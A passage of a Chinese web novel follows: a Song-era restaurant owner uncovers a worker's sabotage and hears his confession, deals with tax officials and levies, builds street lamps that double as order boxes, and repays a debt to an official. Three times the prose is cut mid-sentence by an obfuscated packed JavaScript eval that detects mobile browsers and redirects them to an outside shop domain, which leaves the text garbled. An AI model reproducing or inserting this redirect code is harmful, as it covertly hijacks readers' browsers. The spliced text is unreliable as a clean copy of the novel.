沈芙蕖眉头微蹙，继续道出更深一层的疑窦：“若真是她，此人所为着实令人费解。若她真存心要置我于死地，大可让那鳜鱼彻底腐败发臭，届时一经蒸煮，恶臭难掩，我便万劫不复。可她却只是将鱼腌制发酵……这分明是给我留了一线生机，这是为何呢？” 她凝视着张澈，语气沉静却步步紧逼：“此人看似出手狠辣，实则……竟像是不忍下死手？阿澈，你此前由我推荐，曾在张记鱼行卖过鱼。我依稀记得，张记的东家似是徽州人？你在那时，可曾接触过，或是听说过这臭鳜鱼的制法？” 张澈手心里已冒出冷汗，但还是对答如流：“张掌柜确是徽州人不假，但张记平日很少经营鳜鱼。掌柜的有所不知，这鳜鱼性子娇贵，非清冽活水、石隙草丛不能长好，汴京周遭的河水土质，根本养不出像样的鳜鱼。市面上若想见着一条，都得从徽州新安江、经江南河一路漕运北上，方能抵达汴京。张记做的是草市坊的寻常生意，本薄利微，绝不会费这般周折去运那价高难伺候的鳜鱼来卖。” 沈芙蕖唇角微扬，掠过一丝极淡的笑意，然而先前所有的温和与试探已在瞬间敛尽，眼底只余下能穿透人心的清冽寒意。 “是啊，西塞山前白鹭飞，桃花流水鳜鱼肥。”她轻声吟道，“草市坊的寻常百姓，谁吃得起这金贵物？也只有陆夫人那般钟鸣鼎食之家，才识得鳜鱼之味……张记不做这生意，原也合理。” 她话音微顿，目光如刃，直刺张澈：“可若是张记掌柜的自己，就好这一口呢？” 张澈哑然失笑：“掌柜的莫不是怀疑于娘子与张掌柜暗中勾结？” “不是与张掌柜勾结。是与你，张澈。” 张澈后退半步，脸上挤出一丝虚浮的笑：“……掌柜的，莫与我开玩笑。” 沈芙蕖并不迫近，只依旧安静地望着他，目光澄明如镜，照见他所有慌乱：“阿澈，我再给你最后一次机会。” 张澈嘴唇颤动，却一个字也吐不出，僵立当场。 “你未曾料到，芙蓉盏虽不主营鱼膳，我却与张掌柜的夫人素有往来。他们徽州人离乡不易，舍不得那一口家乡味，因此家中常备自腌的鳜鱼。” 她向前略倾了身，继续安静地瞧着他：“整个汴京城，能寻得这腌鳜鱼的鱼行不过寥寥。偏偏这一家，你却再熟悉不过。” “阿澈，是你自己如实道来，还是我此刻便亲赴张记，问一问张掌柜，他家中所藏的腌鳜鱼，是否平白少了数条？” 张澈脸上一抹极其苦涩无奈的笑，他不再躲避沈芙蕖的目光，缓缓点了点头，声音干涩：“……是。掌柜的明察秋毫，是我……换了鱼。” 沈芙蕖重重叹了一口气。 张澈身量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16338678|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很高，从前因家境贫寒，走路总是习惯性地低头弓背，每逢遇见达官显贵，甚至要贴着墙根小心挪步，生怕招惹了像赵大头那般蛮横的人物，为自己引来无妄之灾。 自来到芙蓉盏之后，他只是埋头做事，别人推拒的脏活累活，他从不曾皱过眉头。 不仅将店中事务打理得井井有条，就连沈芙蕖院中的马粪鸟迹，也都是他默默清理，从未抱怨过半句。 记得有一回，他在后厨切菜时不慎伤了手，却连一声闷哼都无，直至沈芙蕖瞥见洗碗池中的水泛出淡红，才察觉有异，连忙令他停手休息。 每日他总是第一个到店，最后一个离去。店中的一碗一勺、一草一木，他皆要仔细检视方才安心。 曾有食客遗落钱袋，他从未动过私藏的念头，总是原封不动归还失主。 除了勤快肯干，张澈也极为聪敏心细。记账核数之类需谨慎的活计，沈芙蕖不敢交给旁人，特别是不敢托付给粗心大意的程虞，却尽可放心地交到张澈手中。 敏感机灵、内向谨慎，在芙蓉盏从来不是缺点。可以说，沈芙蕖最寄予厚望最为看重的伙计，便是张澈。 店中众人都喜欢他，沈芙蕖也愈发欣赏信赖，给予的赏钱越来越厚，夸赞与鼓励也越来越多。 后来，张澈仍旧清瘦，但腰背已渐渐挺直，走起路来也多了几分踏实和自信。 而此刻的他，仿佛被抽去了脊梁，又变回了最初那个蜷缩怯懦的模样。佝偻着背，目光死死盯着自己的鞋尖，不敢抬起。 “谁指使你的？”沈芙蕖追问。 “于娘子。”张澈垂下眼，低声道，“她找到我，要我把鳜鱼换成坏的。” “她给了你多少？” “十五贯。说事成之后，再付十五贯。” “一共三十贯？”沈芙蕖闻言，大吃一惊，想起陆惠善从前邀她入陆府之事，“于娘子在陆府一年工钱也不过这个数。她怎会舍得拿出整整一年积蓄，甚至更多，就只为让我出一次丑？” 这代价未免太大，也太不合常理。于娘子对她有怨气不假，但花如此重金行此风险之事，能是一个精明的灶头娘子会做的买卖？ 张澈摇了摇头，脸上也露出一丝困惑：“这……我也不知。她只说是恨极了您抢了她的风头和赏钱，定要您好看。其余的我真的不知情了。” “所以……你便去张记，偷了些他们自用的臭鳜鱼来顶替？”沈芙蕖的声音听不出喜怒。 张澈急忙摇头辩解解：“不……不是偷！我只是……只是将新鲜鱼换走了。从前在张记做工时，常看掌柜一家吃这个，也从不见吃坏肚子……掌柜的，我……我原想着，您发现鱼不对劲，会改用其他食材顶替。我是真没料到，陆府的秦嬷嬷竟会那般强硬，逼着您非做不可！” “阿澈，”沈芙蕖注视着他，语气沉了下去，“你可知，若今日这场宴席当真办砸了，会是什么后果？” “大抵是……汴京城里，再不会有官宦人家和贵人愿意找我们操办宴席了……”张澈的声音越来越低。 “你想得太简单了。”沈芙蕖缓缓摇头，“届时砸掉的，不止是今后的生意，更是我们苦心经营至今的招牌。从此汴京食肆之中，再不会有我们的立锥之地。” 张澈面如死灰。 “阿澈，我一向体恤你们辛苦，你自己去问问，整个草市坊，乃至整个汴京城，你们的月钱都是数一数二的。我有亏待过你们吗？”沈芙蕖道。 张澈摇头：“掌柜的带我们很好，是我贪心不足蛇吞象。” “你到底为什么、为什么为了区区这三十贯、为什么要做这种事情？” 45. 第四十五章 事情败露，张澈原本心灰意冷，也不愿再多做辩解。 可当他听到沈芙蕖轻描淡写地说出“区区三十贯”时，终究没能忍住。 “掌柜的，您骂我贪财、骂我无耻，我都认。可您怎么能……怎么能说区区三十贯这种话？！” “您如今困在这后厨，不过是因为被恶毒的兄嫂霸占了家产。若非如此，您原本也该是衣食无忧的。要不然，您这小食摊又是如何张罗起来的？” 沈芙蕖沉默片刻。 原身并不愚笨，当初被沈玉裁夫妇赶出家门时，悄悄在内衫中缝进一支金钗。 若不是靠它，芙蓉小吃也不会这么快就支起来。 “或许在您眼里，三十贯的确不算什么。可对我们这样的人来说，这已经是一条命的价钱。” 沈芙蕖没插话，继续听他说。 “掌柜的，我是宋州人，家里世代务农，却没有一寸自己的田地。年景好的时候，收成大半交了租，剩下的粮食勉强糊口。我阿婆……就是没钱买药，活活熬没的……” 沈芙蕖听得心头沉重。 “祖母走后，我听说汴京还有一门远亲，就一路乞讨找了过来。睡桥洞、宿破庙，为了半张饼，被野狗追出半里地。亲戚不肯认我，但我想，汴京这么大，人这么多，总不至于饿死。所以我要留下来。” “后来我去汴河捕鱼来卖，却连地头钱都交不起，被赵大头那帮人欺侮……难道就因为我穷，便活该受这些罪吗？” 沈芙蕖深吸一口气：“正因为我明白你不易，总对你特殊照顾！可你呢？恩将仇报！难道你穷，我就必须体谅你的一切？张澈，你现在就说清楚——突然要这三十贯，到底做什么用！” 张澈苦笑了一下：“……是，是我痴心妄想。来到芙蓉盏之后，总算有了份正经活计。我就想着……这辈子或许能找个家境相当又勤劳本分的姑娘在一起。” “阿虞……她很好。我对她好一点，也许真能换来她的真心。” 原来乞巧节那日，张澈送给程虞一束花。程虞这姑娘心思单纯，高高兴兴捧回家去，还打算做几双鞋垫回赠给他。 花婆婆一见程虞埋头做鞋垫，心里便猜出七八分。稍一套话，就对张澈的底细摸得一清二楚。 赵氏指使女儿投毒那天，张澈照例清早赶来开店，刚走到芙蓉盏门口，就撞见特意等在那的花婆婆。 老人接受不了张澈，他也明白。吃尽一生苦的人，怎愿看见如花似玉的孙女再嫁进穷人家？ 花婆婆话说的极其难听。最后她说，除非张澈能在汴京买下一间铺子，否则永远别想娶阿虞。 所以，他才起了贪念，于氏差人找他时，他才没有拒绝…… 沈芙蕖胸口剧烈起伏，她简直不敢相信自己的耳朵，他竟如此懦弱不堪，自己行差踏错，还要拉上阿虞来做垫背！真是看错了他！ 她声音微微发颤：“明明是你自己生了贪念，凭什么怪到阿虞头上？！她不过为你做了两双鞋垫，怎么就被你说得像是她逼你做的？！” 张澈被她凌厉的气势逼得后退了半步，脸颊火辣辣的，像是被扇了一巴掌。他双手无措地在身前摆动，眼神慌乱地躲闪，嘴唇嗫嚅着：“我……我不是这个意思……” 他试图解释，话语却苍白无力，“我就是想买个铺子，挣更多钱……我……” 见他仍是这般执迷不悟，将所有的缘由都归咎于一个荒唐的目标和外部的压力，沈芙蕖心底最后一丝耐心也消耗殆尽。 她深吸一口气，眼神彻底冷了下来：“买铺子？就为了这个？张澈，你在我这里做了这些时日，竟还如此糊涂！花婆婆那是故意刁难，要你知难而退！你竟连这都看不明白？” “我明白！我怎么会不明白！”张澈猛地抬头，眼眶瞬间红了，积压的委屈像决堤的洪水冲垮了他的理智，声音里带上了明显的哭腔，“可她是我唯一能抓住的一点念想了啊掌柜的！” 他用力捶了一下自己的胸口，那里堵得难受，“我……我只是想着，万一呢？万一我有了这笔钱，就能让她老人家看到我的诚意，看到我能给阿虞一个保障……” 沈芙蕖看着他这副模样，怒气未消，却又生生掺进一丝难以言喻的酸楚。 “张澈，穷不是错，但穷失了骨气、丢了良心，那就是大错特错！你今日能以阿虞为借口接受这三十贯，他日若有人许你三百贯让你杀我，你是不是也会去做？！” 这话如同晴天霹雳，狠狠劈在张澈天灵盖上，他如遭雷击般猛地抬头，脸上血色尽褪，眼中充满了难以置信的惊恐和受伤： “我不会！掌柜的，我绝对不会！” “你若真对阿虞有心，”沈芙蕖不为所动，语气反而更加沉痛，“就该堂堂正正地去挣一份家业，用你的双手，而不是用这些下作的手段！你这样做，若让阿虞知道了，你让她如何自处？让她如何面对你，面对我，面对花婆婆？你这不是爱她，你这是把她往火坑里推！” 最后这句话，像一根最锋利的针，精准地刺破了张澈所有自欺欺人的幻想和侥幸。 一瞬间，他仿佛被抽干了所有的力气，挺直的脊梁骨咔嚓一下软了下去，整个人瘫软下来，滚烫的泪水再也抑制不住，争先恐后地涌出眼眶，沿着他苍白的面颊滑落。 他低下头，肩膀剧烈地颤抖着，声音破碎不堪：“……我错了……掌柜的……我真的错了……我不该鬼迷心窍……我对不起您的信任，也……也玷污了阿虞的心意……” 沈芙蕖静默地立在原地，目光落在那个痛哭失声的少年身上，一个清晰的问题浮上她的心头，该原谅他吗？ 这念头一起，往事便如潮水般涌来。原身也曾在兄嫂的欺凌下几乎走投无路，那份被夺去家产、扫地出门的冰冷与惶然，她体会得比谁都深刻。 正是这份感同身受，让她比旁人更明白，一个人被逼到悬崖边上，绝不仅仅是自身的选择出了错，那背后，往往是世道的残酷在推波助澜。 花婆婆的羞辱、汴京城里云泥之别的贫富差距、底层人每走一步都如履薄冰的艰难……这些才是勒紧张澈脖颈的真正绳索。 而他行差踏错，究其根本，是生了痴妄的幻想，他以为三十贯钱能买来尊严，换来爱情。这动机可悲又可恨，却并非源于天生的贪婪与恶意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16343088|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张澈的痛哭流涕，证明了他良知未泯，强烈的羞耻心说明他并非无可救药。 一个念头在沈芙蕖心中渐渐清晰，与其简单地将人打入深渊，不如，给他一条正道走吧。 “张澈。”她唤他的名字，“抬起头来。” 见他仍在啜泣，她加重了语气：“做错事的人，连看着别人说话的勇气都没有吗？” 待张澈惶惑地抬起泪眼模糊的脸，沈芙蕖凝视着他，一字一句道：“骨气不是天生就有的，是在一次次选择中捡起来的。今天，你是把它丢了一次。” 她停顿了片刻，仿佛在下定决心。 “但我信你，能把它再捡回来。” 张澈预期的雷霆万钧没有落下，等来的却是一条虽然荆棘遍布却实实在在的生路。 这远超他预料的结果，让他一时之间根本无法反应，只是呆呆地望着沈芙蕖，想从她脸上找出任何一丝讽刺或玩笑的痕迹。 然而，他看到的只有平静，带着力量感的平静，以及沈芙蕖眼睛里真诚的期望。 巨大的震惊过后，是排山倒海般的羞愧和自惭形秽。他低下头，额头重重磕在冰冷的地面上，发出“咚”的一声闷响。 - 天气更冷了。 汴京的冬天，是钝重而喧嚣的冷。 朔风从黄河畔卷来，掠过巍峨的朱雀门，便失了在野外的狂放，化作一种无孔不入的阴寒，钻进每一片屋瓦的间隙。 阿虞刚到店里，把斗笠脱下来撂在地上，说道：“风吹在脸上，像用湿冷粗布用力地擦我脸，疼死了。” 张澈递上一条温热的毛巾：“擦擦脸，别冻坏了。” 街市并未因寒冷而沉寂，反倒因年关将近，更显出几分搏命般的喧腾。 铺户门前支起的锅灶蒸腾出巨大的白汽，卖馉饳的、卖羊肉汤的、卖辣萝卜的，无不以这滚热的水汽为招幌，招揽着冻得缩手缩脚的食客。 天空灰蒙蒙的，像是要落雪。 二楼雅间炭盆烧得滚烫，喝着羊汤的食客们，渐渐也出了一层薄薄的汗，几个文人墨客围着炉子，热了壶酒，吟了一句“晚来天欲雪，能饮一杯无”。 终于下雪了。 细密的雪粒子先是窸窸窣窣地敲打着屋顶，继而转为鹅毛般的雪片，无声无息地坠落，逐渐模糊了御街笔直的轮廓，将汴京这座举世无双的繁华之城，暂时裹进一片疏松而安静的素白里。 “再添两斤羊肉！” 张澈忙应道：“来了！” “程娘子，我要续面！” 天气转寒，芙蓉盏一楼的食客们不约而同地都点起了汤面。在这呵气成霜的冬日，捧起一碗热气蒸腾的汤面，连汤带面吸溜下肚，从喉暖到胃，别提有多舒坦了。 至于卤味凉菜，因天冷不易久放，口感也易受寒气影响，沈芙蕖便暂将店门口的卤菜摊收了起来，静待来年天气转暖，再重新飘香迎客。 沈芙蕖现在只管账，剩下的全部交给二掌柜、三掌柜、四掌柜……自己倒也乐得自在。 仔细算算，年前，自己便能将欠陆却的一百贯还上了，年后，再做打算…… 46. 第四十六章 转眼便是岁末，街上早已挤满了售卖年货的摊贩，吆喝声、讨价还价声此起彼伏，贩卖门神、桃符、财门钝驴、回头鹿马的摊位前更是围满了人，一派辞旧迎新的热闹气象。 大小双也高高兴兴地挤在人群中，精心挑选了几张绘有神荼、郁垒形象的门神像回来，仔仔细细地贴在芙蓉盏大门之上。两位怒目圆睁、披甲执戈的神将镇守主入口，平添了几分威严正气，很有百邪不侵的意思。 正当他们忙着张贴神像之时，程虞眼尖，远远瞥见两个身着公服的身影朝这边走来，正是汴京商税院的税吏。 她脸色微微一变，立刻扬起笑脸，高声招呼着“官爷来得早”，同时不动声色地给张澈递了个眼色。张澈会意，转身疾步走向内院，去请沈芙蕖出来应对。 汴京针对店铺坐贾征收“住税”，税率通常定为出售商品的百分之三，每半年征收一次。 上半年税吏上门核查时，见芙蓉盏生意兴旺，便以店铺规模、所处地段及行业惯例为由，想将税率上浮，还估算出一个百分之四的税额。 幸而那次沈芙蕖早有准备，将各项支出、成本条分缕析，弯弯绕绕算了大半天，最终呈现出一个勉强维持、几近亏本的结果，这才将那住税压回了常例。 因此，一看到商税院的税吏，程虞等人如临大敌，生怕又将住税突然提高，不得不笑脸相迎。 来者一老一少，皆着公服，年长者约莫五十岁，面皮微黄，眼神精明，嘴角习惯性地向下撇着，透着长年累月形成的官威。 年轻者二十出头，像是跟班学徒，手里捧着一卷账簿和算盘。 “沈掌柜，近来生意兴隆啊。”年长的税吏径直走到柜台前，带着些公事公办的冷硬。 沈芙蕖心下明了，从柜台后转出：“原来是王押司和李税吏大驾光临，天寒地冻的，快请里面坐，喝碗热汤暖暖身子。”她一边说着，程虞已经将茶端来。 “汤就不必了。”王押司摆摆手，扫过坐了不少食客的堂肆，“年底了，公务繁忙，办正事要紧。沈掌柜，把你这半年的账册拿出来看看，核算一下住税。” 沈芙蕖依言，取出两本记得密密麻麻的账册，双手递上。 王押司并不亲自看，只对年轻的李税吏努努嘴。李税吏立刻上前，接过账册，熟练地噼里啪啦打起了算盘。 王押司则背着手，在店里踱步，不住地点评着：“啧，这店面……好像比上次来宽敞了些？听说你家还支了个卖卤货的摊子，二楼雅间也开了，生意好得很呐。这每日进项，账上都记全了吧？” 沈芙蕖笑容不变：“押司明鉴，铺面并未扩建，只是重新摆放了桌椅，显得敞亮些。卤菜和羊汤是小本经营，应景之物，所得微薄，皆已入账，不敢有丝毫遗漏。” 此时，李税吏已初步算完，报出一个数目。 王押司瞥了一眼，从鼻子里哼了一声：“就这些？沈掌柜，你这生意红火，汴京谁人不知？按这数缴百分之三的住税，怕是说不过去。” “押司大人，若真如您说的那般红火，我可要天天烧高香了！” 沈芙蕖立刻接话，还带着几分诉苦的意味：“您是不知，我这店里的食材，哪一样不是拣最好的用？谁家签子肉舍得像我这般，下那么重的小茴香提味？成本高得吓人！再加上前阵子，赵氏天天来店门口泼洒污物，赶走了多少老主顾？这笔损失又该找谁补去……” 王押司“啧”了一声，显然不吃这套，慢悠悠地打断她：“可我怎听说……前些日子，芙蓉盏可是风风光光地操办了陆府一场大宴，赏钱也十分丰厚吧？” 沈芙蕖露出一抹苦笑：“赏钱是有一些，不瞒您说，那笔钱民女都不敢动，就等着年底拿来还之前的欠款呢。两位爷是明白人，我这小小芙蓉盏，看着热闹，实则养着十一个杂役，十多张嘴等着吃饭呐！不过是薄利多销，外表光鲜，内里艰难罢了。” “上半年体恤你一个姑娘家不容易，没给上调税额，怎么这下半年还是这般光景？”王押司似笑非笑地说道，“沈掌柜，莫要总觉得我们这些办差的好糊弄呀……” 沈芙蕖正要继续解释，店门外又传来一阵喧哗。 只见厢公事所的两个差役，穿着号服，大摇大摆地走了进来，领头的是个满脸横肉的班头。 程虞暗地里翻个白眼，汴京商税院的人，虽然态度不好，可还算公事公办，账目分明之下，总还有据理力争的余地。 而厢公事所的差役可难缠得很，他们不仅会来收取常例杂费，更时常带来令人头疼的科配任务，那才是真正折本又劳神的苦差。 沈芙蕖平日里便不曾怠慢，常需打点好厢官与税吏头目。到了年关节下，更得备好年敬，并送上些店里精致的吃食。不为别的，只求来年行事顺畅，少受些无端刁难，即便遇上科配，也能手下留情。 “哟，王押司也在？正好！”班头嗓门洪亮，毫不客气地打断了这边的对话，“沈娘子，年终了，各样开销都大。你们芙蓉盏今年可是咱草市坊的纳税大户，啊？” 他不等回应，从怀里掏出一张纸单，念道：“第一样，侵街钱。你家门口那卤菜摊，占着官地，每日引得人群聚集，阻塞交通，这费用……得加三成。” “第二样，科配。开封府衙年终犒赏吏员，需采买肉食。上官点了名要你家的红烧羊肉，就先来五十斤！明日午时前，送至府衙后厨。这是定钱！” 说着，将一小串显然远低于市价的铜钱扔在柜台上。 “第三样，灯油桥道钱。年终修缮公共设施，坊内商户按等摊派，你家得摊十贯！” 这一连串的科配和杂税，如同冰雹般砸下来，真要了人半条命，尤其是那五十斤的羊肉，不仅要连夜烧制，而且几乎等于半卖半送。 王押司在一旁冷眼看着，这两拨人马代表着不同系统，有时甚至彼此竞争，但在从商家身上榨取油水这点上，却又心照不宣。 沈芙蕖心知肚明，这才是年底真正的难关。 然而她并不准备拒绝，拒绝可能意味着芙蓉盏被刁难，甚至她本人可能被罗织罪名下狱。 然而，沈芙蕖趁机向厢官们提出了一个前所未有的方案，科配和杂税照给，住税不变，同时由她沈芙蕖个人出资，在通往芙蓉盏及周边主要街巷的关键路口，每隔一定的距离，设置一座灯台。 东京虽有繁华的夜市，但许多街巷入夜后仍是一片漆黑，行人多有不便，前段时间，草市坊有位老叟还摔断了腿。 她对厢官陈述的理由冠冕堂皇：“民女感念朝廷治理之恩，愿尽绵力，点亮街衢，方便邻里夜行，亦是积德行善。” 此举既能提升本地治安与便利，又无需官府出资，厢官自然乐见其成，很快便应允了，还觉得沈芙蕖懂事识大体。 “沈掌柜，那就祝你生意长虹！”得到这么个结果，厢官们心满意足，笑着离去。 生意长虹？ 沈芙蕖想，长虹哪里够，她要的是这芙蓉盏的声名与生意，如烈火烹油，愈烧愈旺。 税银既缴，她片刻不耽搁，立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16354706|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即着手建造灯台。灯台以耐腐的松木所制，周身桐油清漆，正面清晰地刻着“芙蓉盏”三个大字，既是善举，也是无声的招牌。 上方设有防风的琉璃灯罩，入夜后便由专人点燃，为寒夜中的行人照亮前路，下方则巧妙挖空，安放着一个空盒。 点灯的差事，自有汴京打更人顺道承担，立在人家店门附近的，商铺伙计们自己也顺手就点燃了。 沈芙蕖还特意在每盏灯内设了机关，烛火燃至一定时辰，便有铁片自动垂落覆盖，烛火熄灭，既省烛蜡，又免彻夜长明之忧。 这般便民利举，自然深得人心。百姓们交口称赞，甚至自发维护起这些灯台，若见谁手欠毁损，必是群起指责，毫不容情。 人人都觉得沈芙蕖是个人美心善的散财童子，只有沈芙蕖不这么想。 在她看来，这些灯台下的空盒子，在她眼中，未来将是收集订单、传递信息的绝佳站点，先前做了那么多铺垫，总要开始实践一番。 与此同时，沈芙蕖暂歇了那不易保温的卤味摊子，转而精心推出了冬日应季的引流新品，冰糖葫芦。 她拣选颗粒饱满，色如胭脂的山楂，一一去核，处理得干干净净。又将蒸得软糯适中的糯米粉团细心填进山楂腹中，轻压成圆润扁平的形状，再为它周身密密裹上一层刚刚炒香、粒粒分明的芝麻。 另一边，饴糖融水，在小锅中熬着，待糖浆熬至金黄透亮时，能拉出绵长不断的细丝，便将串好的果子往里一滚、一提，糖浆均匀挂上，稍待冷却，便凝成一层透明脆亮的糖壳。 这一款糯米芝麻馅糖葫芦，口感极是丰富，糯米的绵软、山楂的鲜酸、糖壳的酥脆、芝麻的焦香，层层交织，入口难忘。 此外，她还备下了汴京冬日可见的荸荠、沙果、熟棠梨等果子，同样为它们披上了晶莹剔透的糖衣，清甜别致。 糖葫芦摊就支在芙蓉盏门口，插在精心扎制的草靶子上。那红艳艳、亮晶晶的果子在冬日阳光下闪烁着诱人的光泽，甜香四溢，瞬间就成了整条街最吸引孩子的所在。 见糖葫芦如此受欢迎，沈芙蕖决定以此为契机，测试并推广她的物流系统。 她让伙计在售卖糖葫芦时，告诉每一个来买的孩子一个秘密： “小郎君、小娘子们，想不想足不出户，就在家吃到这甜甜的糖葫芦？看见街口那些新亮的灯台了吗？灯台下面的小盒里，放了纸笔。你只需让你家大人帮你把府上的地址写在纸上，投进盒子里，我们的糖葫芦信使就能知道啦！说不定哪天，就有惊喜送到你家门口哦！” 对孩子而言，这就像一个神秘又好玩的游戏。他们兴奋地回家告诉父母，许多疼爱孩子的家长也觉得新奇有趣，加之芙蓉盏口碑素来良好，便真的帮孩子在指定的灯台木盒中投下了写有地址的纸条。 芙蓉盏的伙计定时去各个灯台下收取这些地址纸条，早就训练好的信鸽则负责将较远区域的收集点的信息快速带回店中。 沈芙蕖会根据地址的分布，精心安排路线，让伙计提着食盒，按照地址将一份份糖葫芦惊喜送达。 当孩子们在家门口收到这份从天而降的甜蜜时，那份惊喜和快乐难以言表。 大人们也啧啧称奇，一方面感叹芙蓉盏的别出心裁，另一方面也切实感受到了这种送货上门的便利与新潮。 程虞疑惑道：“这免费的灯台、免费的糖葫芦，花这么多钱，总不能就卖这几只糖葫芦吧？这能赚多少钱？” 沈芙蕖却说：“不急，再等等。” 47. 第四十七章 汴京城里过年的气氛愈发热烈，但对于生意人而言，年底却是一道难关。 民间素有债不过年的习俗，所有的欠账往来都需在年前结清，图个来年清爽吉利。 债主们焦头烂额，四处筹措。债户们则眼巴巴地盼着款项到手，方能安心过年。 沈芙蕖自然也惦记着这件事。她欠陆却的那笔钱，一直是压在她心头的一块石头，如今手头宽裕了些，她第一时间便想将其还上。 然而，一想到陆夫人宴席上百般刁难的姿态，以及那明显到不能再明显的轻视，她便彻底熄了再见陆却的念头，实在怕再起什么波澜。 若与一个人的相见，总是隔着一道不可逾越的鸿沟，不是屈膝就是低头，那她情愿不见。 思来想去，她决定委托一个最稳妥的中间人，那就是周寺正。他为人正派，又与双方都相熟，是再好不过的人选。 况且，沈芙蕖也想侧面打听打听，自己怎么就惹到这位高贵的夫人了。 这日下午，沈芙蕖仔细将一百二十贯钱换成方便携带的交子，一路往大理寺衙署而去。 越是临近衙署，越能感受到一种不同于街市的紧张气氛。年关岁末，正是各类案卷汇总复核和结案催办的关键时期，大理寺作为最高审判机构，更是忙得人仰马翻。 衙门口车马络绎不绝，为首的衙役像母鸡领着小鸡，将各地送来复核的案卷成箱抬入，身着各色官服的官吏行色匆匆，进出皆是小跑，若此时有人闲庭信步，倒显得格外与众不同了。 稍一驻足打量，便察觉往来穿梭的众多衙役之中，生面孔已然多了不少。 沈芙蕖在门外稍候，按规矩向门房递了帖子，言明求见周寺正。门房显然初来乍到，不认识沈芙蕖，也没吃过她送的卤鸭货。 到年关，连门房也忙得脚不沾地，他又打量了几眼沈芙蕖，收了帖子嘟囔了一句：“周大人？这会儿怕是正被几位少卿催着问话呢，你且等着吧！” 这一等，便是从日上三竿等到日头偏西，连口水也没有喝上。期间，沈芙蕖看到几个从前相熟的身影数次从廊下匆匆闪过，根本无暇他顾，甚至连目光都未曾向门外扫过一眼。 沈芙蕖心中渐凉，深知今日怕是见不到人了。她理解周寺正的繁忙，但看着渐渐西沉的日头，也不免有些焦急。 眼见着散衙的时辰已到，官员胥吏们开始陆续拖着疲惫的步伐离去，衙署也渐渐安静下来。 日头西沉之后，气温骤降，寒风一阵紧似一阵，刮在脸上生疼。门房内炭火烧得正旺，暖意融融，却只能透过那道紧闭的门扉，隐隐约约地传出来些许。 沈芙蕖独自立在门外，只得望着那扇门，眼巴巴瞧着里头的暖光与温暖，半步也近不得。 此时，沈芙蕖身子已经站得僵硬，她叹了口气，确定今日事恐难办成，正准备打道回府，改日再来。 就在这时，一个沉静的身影从衙署深处走出，正是陆却。 他显然也是刚处理完冗务，眉宇间带着一丝倦色，正一边听着身旁一位录事最后的汇报，一边向外走来。 一抬眼，便看到了站在门口，身影在暮色中显得有些单薄的沈芙蕖。 两人目光在空中相遇，皆是一愣。 沈芙蕖平日要干活，穿得太厚，反而行动不便，可出来待久了，便觉得寒气袭人，朔风卷着地面的残雪，吹得她鼻尖泛红，指尖也悄悄缩进了袖中取暖。 而陆却身披一件厚实的藏青色毛领斗篷，内里隐约可见锦缎棉袍的轮廓，腰间束带勒紧，显得其身姿挺拔，斗篷的绒毛领边簇拥着他线条分明的下颌，将他与凛冽的寒风隔绝开来。 陆却显然没料到会在此处见到她。他迅速对录事交代了几句，打发其离开，然后大步向沈芙蕖走来。 “你……是来找我的？” 沈芙蕖也没想到最终会直接遇上正主。事已至此，她干脆开门见山道：“陆大人，我是来寻周寺正的，想托他代为转交欠款。既然在此巧遇大人，便直接交由大人也好。” 她从怀里摸出一叠温热的纸张来：“此前承蒙大人援手，解我燃眉之急。这是一百二十贯钱，连本带利，如数奉还。多谢大人。” 陆却的目光扫过那叠钱，又落回沈芙蕖脸上。他并没有立刻去接钱，而是沉默了片刻。 周围散衙的零星官吏都好奇地放慢了脚步，陆大人和这小娘子说些什么呢？ “你……不必如此急迫，也更无需利息。”陆却的声音听不出什么情绪。 “要的。”沈芙蕖态度坚决，语气恭敬，“大人当时肯借，已是雪中送炭。我不能不懂规矩，这多出的二十贯，并非利息，而是大人应得的分红。” 陆却听出了她话中划清界限的意味。 他看着沈芙蕖低垂的眼睫和那副公事公办的疏离姿态，心脏莫名下坠。 暮色渐浓，寒风吹过，卷起地上几片枯叶。最终，他不再多言，只对身后的随从微微颔首。 随从上前，沉默地从沈芙蕖手上接过交子。 “钱已经还清，那我和大人也两清了。”沈芙蕖淡淡道，在钱交出去的一瞬间她便扭头离开。 陆却几不可察地微微蹙了一下眉，身形却依旧笔直地立在原处，未移动分毫。 雪又下了起来。 汴京今冬的雪，似乎比往年更密更急些，纷纷扬扬的雪片落在他藏青色斗篷的肩头，积起薄薄一层，久久不融化。 他就这般沉默地伫立在风雪中，纹丝不动，像一只孤高清傲的仙鹤。 “嗳嗳嗳！沈娘子？且慢一步！” 只见周寺正急匆匆地赶了出来，额上还带着忙出的细汗，显然是刚刚处理完手头的急务。 